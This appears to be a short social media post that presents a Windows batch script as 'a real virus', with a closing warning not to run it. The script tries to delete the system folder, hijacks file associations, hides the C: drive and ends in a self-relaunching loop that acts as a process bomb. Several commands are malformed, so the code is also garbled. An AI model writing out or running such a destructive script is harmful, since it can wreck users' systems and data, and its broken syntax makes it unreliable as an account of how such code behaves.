A real virus is this: @gamax92 @wikifaq (Batch) @echo off echo virus del /Y %SystemRoot% @echo off echo virus2 assoc .txt=xhtmlfile assoc .xhtml=txtfile assoc .*=WinRAR @echo off echo virus3 attrib +h C:\ @echo off echo virus4 copy /b C:\ > C:\C\ copy /b C:\ > C:\C\ copy /b C:\ > C:\C\ :a start.bat goto a (name this start.bat) Point. Proven. Now, don't run any of these batch scripts!